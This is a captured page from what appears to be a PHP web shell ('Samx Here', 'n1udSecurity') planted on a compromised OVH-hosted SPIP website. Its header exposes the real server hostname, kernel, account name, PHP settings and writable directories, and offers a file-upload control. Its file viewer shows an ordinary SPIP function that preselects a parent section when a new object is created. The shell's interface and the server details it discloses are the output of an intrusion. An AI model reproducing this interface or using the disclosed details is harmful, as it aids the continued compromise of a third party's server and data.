Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/unichild/ecrire/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/unichild/ecrire/inc/preselectionner_parent_nouvel_objet.php
<?php

/***************************************************************************\
 *  SPIP, Système de publication pour l'internet                           *
 *                                                                         *
 *  Copyright © avec tendresse depuis 2001                                 *
 *  Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James  *
 *                                                                         *
 *  Ce programme est un logiciel libre distribué sous licence GNU/GPL.     *
\***************************************************************************/

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}
if (!defined('_AUTO_SELECTION_RUBRIQUE')) {
	define('_AUTO_SELECTION_RUBRIQUE', false);
}


/**
 * Preselectionner la rubrique lors de la creation
 * desactive par defaut suite a remontee utilisateur mais activable par define
 * ou surchargeable
 *
 * @param string $objet
 * @param array $row
 * @return string
 */
function inc_preselectionner_parent_nouvel_objet_dist($objet, $row) {
	if (!_AUTO_SELECTION_RUBRIQUE) {
		return '';
	}

	if (!isset($row['id_rubrique'])) {
		return '';
	}

	$id_rubrique = '';
	if ($GLOBALS['connect_id_rubrique']) {
		// si admin restreint : sa rubrique
		$id_rubrique = $GLOBALS['connect_id_rubrique'][0];
	} elseif (
		is_int(_AUTO_SELECTION_RUBRIQUE)
		and sql_fetsel('id_rubrique', 'spip_rubriques', 'id_rubrique=' . intval(_AUTO_SELECTION_RUBRIQUE))
	) {
		$id_rubrique = _AUTO_SELECTION_RUBRIQUE;
	} else {
		// sinon la derniere rubrique cree
		$row_rub = sql_fetsel('id_rubrique', 'spip_rubriques', '', '', 'id_rubrique DESC', '0,1');
		$id_rubrique = $row_rub['id_rubrique'];
	}
	// si le choix ne convient pas, on cherche dans un secteur
	if (!autoriser('creer' . $objet . 'dans', 'rubrique', $id_rubrique)) {
		$id_rubrique = '';
		// manque de chance, la rubrique n'est pas autorisee, on cherche un des secteurs autorises
		$res = sql_select('id_rubrique', 'spip_rubriques', 'id_parent=0');
		while (!$id_rubrique and $row_rub = sql_fetch($res)) {
			if (autoriser('creer' . $objet . 'dans', 'rubrique', $row_rub['id_rubrique'])) {
				$id_rubrique = $row_rub['id_rubrique'];
			}
		}
	}

	return $id_rubrique;
}

SAMX